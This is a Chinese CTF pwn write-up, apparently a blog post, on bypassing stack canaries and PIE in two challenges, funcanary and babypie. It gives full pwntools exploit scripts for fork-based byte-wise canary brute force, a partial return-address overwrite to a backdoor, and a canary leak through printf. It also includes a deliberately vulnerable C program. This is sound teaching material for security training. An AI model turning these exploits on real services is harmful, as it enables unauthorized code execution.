pwn-canary绕过和PIE(未完待续)

一.fork线程爆破canary加PIE

一.2023全国大学生国赛pwn——funcanary

1.checksec

 2.IDA分析

 看见了fork函数,那就通过爆破得出canary

对于 Canary,但是同一个进程中的不同线程的 Canary 是相同的,并且通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork 函数会直接拷贝父进程的内存。我们可以利用这样的特点,彻底逐个字节将 Canary 爆破出来。

 打开sub_128A函数

 明显的溢出

发现后门函数

 开始计算溢出大小

0x70-0x80=104

3.思路确定

①先逐字爆破出canary的值

②直接溢出到返回地址,覆盖为后门函数的地址。但这道题开了PIE保护,而PIE是代码段,数据段进行地址随机化。但是最终决定是否随机化的靠看ASLR,如果ASLR是关闭的,那么就算开启了PIE也不会进行地址随机化。

要用partial write这个思路,因为分页管理机制,即使随机化地址,但在一页中的偏移量不会变,也就是地址低三位的大小不会发生改变。所以我们通过覆盖地址的后几位来可以控制程序的执行流,来实现我们想要调用的函数。

4.exp.py

①canary的爆破

from pwn import *
#context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context(os='linux', arch='amd64', log_level='debug')
#p = remote('123.56.238.150',27941)
p= process('./fun')
p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):
    for i in range(256):
        print("the " + str(k) + ": " + chr(i))
        p.send(b'a'*104 + canary + bytes([i]))
        a = p.recvuntil(b"welcome\n")
        print(a)
        if b"have fun" in a:
            canary += bytes([i])
            break
print(canary)

我是python3版本的,那些什么str的强调,得记一下。

②第二次的溢出

这里得展开说说,卡了我好久。这里得厘清为什么要这样做。

1.上面都说了函数地址低三位都不会变,那我们把低三位覆盖就行了,但只能两字节两字节修改,无法只修改三位,所以第四位需要我们依次爆破,范围就是0x0-0xf。

因为PIE的开启,IDA看到的函数地址是偏移量。真实地址需要code base address + offset得到。(如下图所示,后门函数的固定偏移量为22E)

2. 我们去看看返回地址

用下面的代码来调试,也是时候进阶一下exp了,这里用到了另外一个终端。(以后写这种类似的调试时,记得最后加个recv,不然开启终端不成功

rom pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context(os='linux', arch='amd64', log_level='debug')
#p = remote('123.56.238.150',27941)
p=gdb.debug("./fun","break read")
p.recvuntil('welcome\n')
canary = b'\x00'
p.send(b'a'*104 )
p.recvuntil('have fun') 

 3.进去后一直n,n到栈里面有我们填充的a了。然后查看a字符后面的地址。

· 红框处很明显就是canary值,末尾00.

·黄框处是先前rbp的地址

·蓝框处就是我们想要的返回地址

4.接下来我们要去查看后门函数的地址,也就是上面提到的code base address + offset,后门函数的基地址就是返回地址的基地址

 如图所示,基地址就是0x564d888cb000。我也有点不懂为什么非得和返回地址的基地址一致(存疑)。

5.去查看后门函数的地址

 确实位置就在这里,我们把返回地址和后门函数作比较,发现就只有末三位不同。但只能修改四位,不能只改三位。但下次又随机化了,我们不知道第四位是什么,所以就爆破第四位。这题可以一直循环,可以直接爆破第四位。但其它题只有一次机会的,多猜几次也一样的,概率十五分之一。

看到这里可能还是会有点懵,我再放一张第二次重新调试的图。

 可以看到基地址什么的都发生了变化,但后面函数的末三位还是不变。

最终的exp

from pwn import *
#context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context(os='linux', arch='amd64', log_level='debug')
#p = remote('123.56.238.150',27941)
p= process('./fun')
p.recvuntil('welcome\n')
canary = b'\x00'
for k in range(7):
    for i in range(256):
        print("the " + str(k) + ": " + chr(i))
        p.send(b'a'*104 + canary + bytes([i]))
        a = p.recvuntil(b"welcome\n")
        print(a)
        if b"have fun" in a:
            canary += bytes([i])
            break
print(canary)
payload = b'A'*104 + canary + b'A'*8 + b'\x2e'

list1=[b"\x02",b"\x12",b"\x22",b"\x32",b"\x42",b"\x52",b"\x62",b"\x72",b"\x82",b"\x92",b"\xa2",b"\xb2",b"\xc2",b"\xd2",b"\xe2",b"\xf2"]

for k in list1:
    payload1=payload+k
    p.send(payload1)
    p.recvuntil('welcome\n')
p.interactive()

因为是本地调试

 看到这一行就表示成功pwn了

 5.exp的注意事项

·可以发现我们覆盖末四位地址时,是先发送的\x2e 再发送\x*2

·注意那些字符格式b的添加

一.覆盖\x00读出canary加PIE

一.babypie

1.前期准备

因为给的文件为二进制文件,所以得自己编译

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
void flag(){
    system("cat flag");
}
void vuln(){
    char buf[40];
    puts("Input your Name:");
    read(0, buf, 0x30);                       
    printf("Hello %s:\n", buf);
    read(0, buf, 0x60);    
}
int main(int argc, char const *argv[])
{
    vuln();
    return 0;
}

gcc -fpie -pie  -fstack-protector -o pie b.c

·前两个指令表示开启PIE保护

·第三个指令表示开启栈堆溢出保护,就有canary

·第四个指令表示通过b.c这个c文件,来生成pie文件。

2.ida分析

 两次read都有溢出。其中printf的参数为%s,也就是解析该地址,并输出其中的内容,直到遇到字符串中的 null 字符 \0 为止。

Canary 设计为以字节 \x00 结尾,是为了防止被读出 。那既然如此,我们就溢出覆盖canary的低字节\x00,再通过printf函数一起把canary的值输出。

 计算缓冲区0x30-0x8=40,再加1,因为要覆盖\x00。

 还发现了后门函数

3.思路分析

①先利用第一次溢出来覆盖\x00,再读出canary值。

②第二次溢出,构建rop,放入泄露的canary值,再加上后门函数的地址。

和上一题一样,不想再过多阐述了。

 4.exp.py

只放第一次溢出得canary的exp了,本来这篇的重点就在canary上。

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'

offset = 0x29
p = process('./pie')
p.recvuntil("Name:\n")
payload=b'a' * offset 

p.sendline(payload)
                    
p.recvuntil('a' * offset)
p.recv(1)
canary = u64(b'\0' + p.recvn(7))
print(hex(canary))

反正记得溢出时要多加1

三.劫持__stack_chk_fail 函数

四.覆盖 TLS 中储存的 Canary 值

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

wbxlzd

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值